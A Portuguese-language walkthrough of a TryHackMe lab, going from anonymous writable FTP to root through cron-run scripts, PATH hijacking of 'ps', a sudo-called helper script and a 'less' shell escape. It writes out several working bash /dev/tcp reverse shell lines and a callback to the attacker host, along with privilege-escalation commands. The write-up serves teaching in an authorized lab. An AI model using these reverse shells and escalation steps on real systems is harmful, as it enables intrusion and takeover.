Jump - Do Recon ao Root: FTP, Reverse Shell e PrivEsc

1. Objetivo e metodologia

A room Jump apresenta uma cadeia de permissões mal configuradas em um servidor Linux. O desafio não é encontrar um único exploit: é reconhecer o serviço, provar cada hipótese e enumerar novamente depois de cada acesso.

FTP anônimo
   ↓ upload executado pelo pipeline
recon_user
   ↓ script de backup gravável
dev_user
   ↓ PATH Hijacking no comando ps
monitor_user
   ↓ sudo chama um helper modificável
ops_user
   ↓ Shell Escape no less
root

Walkthrough realizado em um laboratório autorizado do TryHackMe. Os endereços IP são os utilizados nesta sessão e podem mudar ao reiniciar a room.

Alvo:      10.66.130.182
AttackBox: 10.66.120.132

Minha maior dificuldade foi saber o que procurar depois de cada descoberta. O método que funcionou foi:

  1. Observar: portas, versões, arquivos, permissões, processos.
  2. Formular uma hipótese: “esse diretório aceita upload?”, “alguém executa este script?”.
  3. Testar com evidência: resposta do protocolo, arquivo de saída, callback ou identidade da nova shell.
  4. Confirmar o impacto: whoami, id, leitura da flag e nova enumeração.

Não confundir possibilidade, teste enviado e execução confirmada.


2. Recon inicial: qual ferramenta usar e o que procurar?

Comecei pelo Metasploit, usando o Nmap integrado:

msfconsole
workspace -a thm
db_status
db_nmap -sV -O 10.66.130.182
services

O primeiro resultado mostrou:

21/tcp  ftp  vsftpd 3.0.5
22/tcp  ssh  OpenSSH 9.6p1 Ubuntu

Erro importante: sem -p-, o Nmap normalmente verifica apenas as 1.000 portas TCP mais comuns. Também executei o scanner TCP do Metasploit até a porta 10000; isso não é uma varredura completa.

Para descobrir todos os serviços TCP, prefira:

db_nmap -sS -Pn -p- --open 10.66.130.182

E depois enumere detalhadamente as portas relevantes:

db_nmap -sV -sC -Pn -p21,22 10.66.130.182

O que procurar no resultado?

Descoberta Próxima ação
Porta aberta Identificar serviço e versão
FTP Testar login anônimo, listar diretórios, ler arquivos e conferir escrita
SSH Verificar versão, configuração e se já existem credenciais úteis
HTTP Inspecionar páginas, respostas, diretórios, métodos e parâmetros
Porta incomum Verificar se é um serviço persistente ou porta temporária
CVE ou módulo de exploit Confirmar versão afetada e pré-requisitos antes de testar

Outro erro que cometi: a porta 25318 apareceu aberta uma vez, mas logo estava fechada. O FTP em modo passivo usa portas altas temporárias para transferência de dados; uma porta passageira não prova a existência de outro serviço.

Metasploit: recon não é exploit

Usei:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.66.130.182
set PORTS 1-10000
set THREADS 20
run

Também pesquisei:

search vsftpd
vulns

O Metasploit mostrou um módulo para o backdoor do vsftpd 2.3.4, mas meu alvo usava vsftpd 3.0.5. Não fazia sentido executar um exploit para outra versão.

A entrada CVE-1999-0497 em vulns registrava o FTP anônimo habilitado, não uma prova de execução remota de comandos. O “SSH Version Scanner” também era uma descoberta de reconhecimento, não uma shell pronta.

Regra: não escolha um exploit porque o nome do serviço coincide. Primeiro verifique versão, requisito, configuração e evidência.


3. Enumeração do FTP

O módulo correto no meu Metasploit era:

use auxiliary/scanner/ftp/ftp_anonymous
set RHOSTS 10.66.130.182
run

Resultado:

[+] Anonymous Read-only access ()

Conectei manualmente:

ftp 10.66.130.182
Name: anonymous
Password: anonymous

Dentro do FTP:

pwd
ls -la
cd pub
ls -la
get README.txt

Diretórios encontrados:

/incoming
/pub
/pub/archive
/pub/uploads

O arquivo tinha nome README.txt. Minha tentativa inicial com get readme.txt falhou: Linux diferencia maiúsculas de minúsculas.

Baixar tudo que for acessível

Em vez de navegar pasta por pasta, usei lftp:

mkdir -p ftp-dump
lftp -u anonymous,anonymous ftp://10.66.130.182 \
  -e "mirror --verbose --continue / ./ftp-dump; bye"

find ftp-dump -type f -printf '%p\n'

Resultado: quatro diretórios e somente um arquivo, o README. Não havia arquivos adicionais acessíveis nos diretórios vazios.

O README dizia:

[ recon pipeline ]

All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.

Essa foi a principal pista: um processo automatizado recebe arquivos em incoming/.


4. FTP gravável: não confundir permissão com upload comprovado

Na listagem aparecia:

drwxrwxrwx ... incoming

O Nmap também marcou [NSE: writeable]. Mas o Metasploit havia dito “Read-only”, e minhas primeiras tentativas de put falharam.

Permissão 777 no diretório não garante que o protocolo FTP autorize uploads. Precisava executar a operação de escrita e observar a resposta real do servidor.

Criei um arquivo pequeno:

echo "teste" > /tmp/probe.txt

Teste com curl:

curl -v -T /tmp/probe.txt \
  ftp://anonymous:anonymous@10.66.130.182/incoming/probe.txt

Respostas relevantes:

230 Login successful.
250 Directory successfully changed.
STOR probe.txt
150 Ok to send data.
226 Transfer complete.

226 Transfer complete confirmou o upload. Depois consegui fazer o mesmo com o cliente FTP tradicional:

ftp 10.66.130.182
cd incoming
put /tmp/probe.txt probe2.txt
ls -la

Não foi possível determinar exatamente por que as tentativas anteriores falharam. O que ficou comprovado foi que enviar para /incoming com o nome correto funcionava.

Dica para outros serviços HTTP

O mesmo raciocínio vale para testes web: não basta enviar um payload e não receber erro. Compare código HTTP, tamanho da resposta, conteúdo, redirecionamentos, tempo e efeitos no servidor. Uma mudança mensurável pode ser o primeiro sinal de que a entrada foi interpretada.


5. Qual formato o pipeline aceita? Como testar sem ficar no escuro?

Aqui cometi o erro mais importante da room.

Enviei arquivos .txt, .json, .xml, .yaml, .sh e até um .elf. Todos permaneciam no diretório. Isso não demonstrava se haviam sido processados.

Meu primeiro teste Shell era:

echo "echo TEST_OK" > /tmp/test.sh

O problema: se um job remoto executasse echo TEST_OK, a saída iria para o ambiente do processo no alvo — não para meu terminal FTP. Eu não tinha como enxergá-la.

Faça um teste com retorno observável

Uma forma de detectar execução de um script Bash é usar um callback simples, antes de tentar uma shell interativa.

Na AttackBox, abra um listener:

nc -lvnp 4445

Em outro terminal, crie o arquivo:

cat > /tmp/ping.sh <<'EOF'
#!/bin/bash
printf 'EXECUTED: %s\n' "$(id -un)" > /dev/tcp/10.66.120.132/4445
EOF

Envie-o com um nome novo:

curl -v -T /tmp/ping.sh \
  ftp://anonymous:anonymous@10.66.130.182/incoming/ping.sh

Se o listener receber EXECUTED: recon_user, temos uma confirmação de que um arquivo .sh foi executado e de qual usuário o executou. Esse exemplo é um procedimento de validação: no meu teste real, a prova definitiva veio pela reverse shell.

O uso de /dev/tcp/ depende do Bash e de conexões de saída permitidas; não receber callback também pode significar bloqueio de rede, e não necessariamente formato inválido.

Método para identificar formatos

  1. Procure documentação, scripts, nomes de jobs, logs e mensagens do serviço.
  2. Monte um arquivo pequeno por hipótese (por exemplo, Shell, JSON ou YAML), com conteúdo coerente com o formato.
  3. Garanta algum resultado visível: callback, resposta, arquivo gerado ou alteração de estado.
  4. Envie um teste de cada vez, registrando nome, horário e resposta do upload.
  5. Compare diretórios de entrada e saída; não interprete somente “arquivo sumiu” ou “arquivo ficou” como prova de execução.
  6. Se um formato apresentar efeito observável, investigue como ele é processado antes de enviar payloads mais complexos.

Lição: upload confirmado ≠ processamento confirmado ≠ execução confirmada.


6. FTP para recon_user: primeira reverse shell

Como o pipeline da room executava scripts Shell enviados para incoming/, criei um script Bash para retornar uma conexão.

Na AttackBox:

cat > /tmp/recon.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.66.120.132/4444 0>&1
EOF

Em outro terminal, iniciei o listener antes do upload:

nc -lvnp 4444

Enviei o script:

curl -v -T /tmp/recon.sh \
  ftp://anonymous:anonymous@10.66.130.182/incoming/recon.sh

O listener recebeu uma shell. Confirmei:

whoami
id
hostname
pwd
cat /home/recon_user/flag.txt

Resultado:

uid=1001(recon_user) gid=1001(recon_user)
groups=1001(recon_user),1002(dev_user),1005(devops)

As mensagens no job control in this shell são comuns em reverse shells sem terminal interativo completo. Elas não significam que a conexão falhou.

O que olhar PRIMEIRO em toda nova shell?

whoami; id; hostname; pwd
sudo -n -l
ls -la /home
find /opt /usr/local/bin -type f -writable \
  -printf '%M %u:%g %p\n' 2>/dev/null
ps auxww | grep -E 'cron|/opt/|python|backup|health|deploy'

Confira também, conforme a pista encontrada:

cat /etc/crontab
ls -la /etc/cron.d
systemctl list-timers --all --no-pager

Se a shell for limitada, prefira comandos curtos e redirecione erros com 2>/dev/null. Uma tarefa rápida pode não aparecer no ps; nesse caso, observe repetições ou use pspy em laboratório, se disponível.

Toda vez que mudar de usuário, repita a enumeração. As permissões e oportunidades também mudam.


7. recon_user → dev_user: script de backup modificável

Meu id trouxe a pista:

groups=... 1002(dev_user),1005(devops)

Ou seja, recon_user fazia parte do grupo dev_user. Por isso, já consegui ler a flag de /home/dev_user/flag.txt antes de assumir a identidade daquele usuário.

Ler a flag não significa ter escalado para dev_user. Para confirmar a etapa era necessário obter uid=1002.

Procurei arquivos graváveis:

find /opt /usr/local/bin -type f -writable \
  -printf '%M %u:%g %p\n' 2>/dev/null

Encontrei:

-rwxrwxr-x dev_user:dev_user /opt/dev/backup.sh

As permissões rwxrwxr-x permitem escrita para o proprietário e para o grupo. Como eu pertencia ao grupo, conseguia alterar o script.

Também foi possível observar o processo sendo executado como dev_user:

dev_user ... /bin/bash /opt/dev/backup.sh

Agora existiam as duas condições necessárias: arquivo modificável + execução com identidade superior.

Iniciei outro listener na AttackBox:

nc -lvnp 5556

Na shell recon_user, preservei o conteúdo existente e acrescentei:

cp /opt/dev/backup.sh /tmp/backup.sh.original

cat >> /opt/dev/backup.sh <<'EOF'

/bin/bash -c 'bash -i >& /dev/tcp/10.66.120.132/5556 0>&1'
EOF

Quando a automação rodou novamente:

whoami  → dev_user
id      → uid=1002(dev_user)

Por que >> e não >? O primeiro acrescenta conteúdo; o segundo sobrescreve. Preservar as instruções anteriores reduz interferência no serviço.


8. dev_user → monitor_user: PATH Hijacking

Na nova shell, repeti o reconhecimento. Um arquivo chamou atenção:

-rw-rw-r-- dev_user:dev_user /opt/dev/bin/ps

Era estranho haver um arquivo chamado ps dentro de /opt/dev/bin, já que o comando normal está em /usr/bin/ps.

Verifiquei o serviço:

systemctl cat healthcheck.service
cat /usr/local/bin/healthcheck

Configuração encontrada:

[Service]
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck

O script fazia:

while true; do
  ps aux | grep -v grep
  sleep 5
done

A falha: o serviço roda como monitor_user e chama apenas ps, sem caminho absoluto. O PATH procura primeiro em /opt/dev/bin, onde dev_user controla o arquivo ps.

monitor_user executa healthcheck
        ↓ chama "ps"
PATH = /opt/dev/bin : /usr/local/bin : /usr/bin
        ↓ primeiro encontrado
/opt/dev/bin/ps  ← controlado por dev_user

Meu arquivo ps não tinha o bit de execução (-rw-rw-r--), então, como proprietário, precisei ativá-lo com chmod +x. Ser membro de um grupo com escrita não basta, por si só, para alterar o modo do arquivo.

Na AttackBox:

nc -lvnp 5558

Na shell dev_user:

cp /opt/dev/bin/ps /tmp/ps.original

cat > /opt/dev/bin/ps <<'EOF'
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.66.120.132/5558 0>&1'
exec /usr/bin/ps "$@"
EOF

chmod +x /opt/dev/bin/ps

A conexão recebida confirmou:

whoami  → monitor_user
id      → uid=1003(monitor_user)

A linha exec /usr/bin/ps "$@" chama o ps real com os argumentos originais após o retorno da shell. Como a reverse shell interativa pode manter o script bloqueado, é importante restaurar o arquivo original depois de validar a etapa.

Lição: não procure apenas arquivos pertencentes ao grupo devops. Minha busca com -group devops retornou vazio, mas existia um arquivo do próprio dev_user que dava acesso ao próximo usuário. Comece com -writable; refine depois.


9. monitor_user → ops_user: sudo e script auxiliar

Na shell monitor_user, a primeira checagem foi:

sudo -n -l

Resultado:

(ops_user) NOPASSWD: /usr/local/bin/deploy.sh

Isso permite executar aquele comando específico como ops_user, sem senha.

Inspecionei antes de executar:

cat /usr/local/bin/deploy.sh
ls -l /opt/app/deploy_helper.sh
cat /opt/app/deploy_helper.sh

O script autorizado pelo sudo fazia:

#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh

E o helper pertencia a monitor_user:

-rwxr-xr-x monitor_user:monitor_user /opt/app/deploy_helper.sh

Essa é a vulnerabilidade: não posso editar o deploy.sh autorizado, mas posso editar o arquivo que ele executa. Quando invocado via sudo, o helper roda como ops_user.

Na AttackBox:

nc -lvnp 5559

Na shell monitor_user:

cp /opt/app/deploy_helper.sh /tmp/deploy_helper.original

cat >> /opt/app/deploy_helper.sh <<'EOF'

/bin/bash -c 'bash -i >& /dev/tcp/10.66.120.132/5559 0>&1'
EOF

sudo -n -u ops_user /usr/local/bin/deploy.sh

No listener:

whoami  → ops_user
id      → uid=1004(ops_user)

Aqui não havia necessidade de esperar uma tarefa agendada: o comando sudo era o gatilho.


10. ops_user → root: Shell Escape com less

Mais uma nova shell, mais uma enumeração:

whoami
id
sudo -n -l

A saída mostrou:

(root) NOPASSWD: /usr/bin/less

O less é um visualizador de arquivos, mas permite executar comandos externos por meio de !, quando essa funcionalidade não está desabilitada.

Como eu estava em uma reverse shell, melhorei o terminal:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Abri um arquivo com o less autorizado:

sudo -n /usr/bin/less /etc/hosts

Dentro do less, digitei:

!/bin/bash

Depois confirmei:

whoami
id
cat /root/flag.txt

A evidência de sucesso é uid=0(root), não apenas o fato de o less ter aberto.

Lição: em todo sudo -l, procure programas com capacidade de executar outros comandos. O GTFOBins documenta o comportamento do less e de outros binários com shell escape.


11. Checklist que vou usar nas próximas rooms

Recon remoto

  • Varrer todas as portas TCP, não apenas o conjunto padrão.
  • Identificar serviço, versão e configuração em cada porta.
  • Para FTP: testar login, listar, baixar e validar upload com resposta 226.
  • Para HTTP: comparar código, corpo, tamanho, tempo e redirecionamento das respostas.
  • Ler READMEs, configurações, comentários, nomes de arquivos e pistas da room.
  • Antes de usar um exploit, confirmar versão afetada e condições necessárias.

Ao descobrir uma possibilidade de execução

  • Qual componente recebe a entrada? Onde ela fica armazenada?
  • Quem processa ou executa o arquivo?
  • Qual formato ou estrutura é esperado?
  • Como vou observar o resultado? Resposta, log, arquivo gerado, callback?
  • O listener já está aberto antes do gatilho?
  • Upload, processamento e execução foram comprovados separadamente?

Em toda nova shell

whoami; id; hostname; pwd
sudo -n -l
ls -la /home
find /opt /usr/local/bin -type f -writable \
  -printf '%M %u:%g %p\n' 2>/dev/null
ps auxww | grep -E 'cron|backup|deploy|health|/opt/'

Depois, conforme os indícios:

  • Ver grupos e caminhos aos quais eles dão acesso.
  • Ver quem é proprietário dos arquivos e quem pode modificá-los.
  • Ver scripts de cron/systemd e qual usuário os executa.
  • Ver comandos chamados sem caminho absoluto e a ordem de PATH.
  • Ver scripts auxiliares chamados por um executável permitido no sudo.
  • Confirmar a nova identidade com id, não somente com a flag.

12. Tabela rápida de comandos e operadores

Comando / sintaxe Para que serve
db_nmap -sS -Pn -p- --open IP SYN scan de todas as portas TCP; mostra abertas
db_nmap -sV -sC -p21,22 IP Detecta versões e executa scripts padrão
services / vulns Consulta serviços e descobertas no banco Metasploit
auxiliary/scanner/ftp/ftp_anonymous Testa login FTP anônimo
lftp ... mirror / destino Baixa diretórios recursivamente
curl -v -T arquivo ftp://.../incoming/ Envia arquivo e mostra respostas FTP
nc -lvnp PORTA Aguarda conexões TCP na porta escolhida
bash -i Abre Bash interativo
/dev/tcp/IP/PORTA Abre conexão TCP com redirecionamento do Bash
>& / 0>&1 Redireciona fluxos de saída/entrada para a conexão
cat >> arquivo <<'EOF' Acrescenta bloco de texto diretamente no terminal
find ... -writable -printf '%M %u:%g %p\n' Lista arquivos graváveis com permissões, dono, grupo e caminho
2>/dev/null Esconde mensagens de erro do comando
systemctl cat servico Inspeciona a configuração do serviço systemd
sudo -n -l Mostra permissões sudo sem pedir senha
sudo -n -u usuario comando Executa comando autorizado como outro usuário
chmod +x arquivo Adiciona permissão de execução
exec /usr/bin/ps "$@" Substitui processo pelo ps real, preservando argumentos
!/bin/bash no less Abre um shell externo a partir do visualizador

Dicas para a shell limitada

Para listar somente caminhos sem abrir editor:

find /opt -maxdepth 4 -type f -printf '%p\n' 2>/dev/null

Para evitar listagens enormes, limite primeiro a pesquisa a /opt, /usr/local/bin e aos diretórios relacionados à pista descoberta. Use cat, head, grep e find antes de recorrer a editores.

Ao terminar os testes, restaure scripts modificados usando as cópias feitas antes das alterações. No caso de /opt/dev/bin/ps, restaure também as permissões originais (664). Isso evita deixar automações quebradas ou listeners reconectando.


13. Conclusão

A Jump mostrou cinco falhas diferentes, mas o raciocínio para encontrá-las foi sempre o mesmo:

Encontrar uma superfície
        ↓
Entender permissões e contexto
        ↓
Identificar quem consome ou executa
        ↓
Criar um teste com resultado observável
        ↓
Confirmar qual usuário executou
        ↓
Repetir a enumeração

Os pontos que mais precisei corrigir foram fazer a varredura completa, não confiar cegamente no rótulo “Read-only”, não confundir arquivo enviado com arquivo executado e não parar de enumerar após a primeira flag.

Mais importante que decorar uma reverse shell é saber responder: quem executa esse arquivo, com quais privilégios, e qual evidência comprova que meu teste funcionou?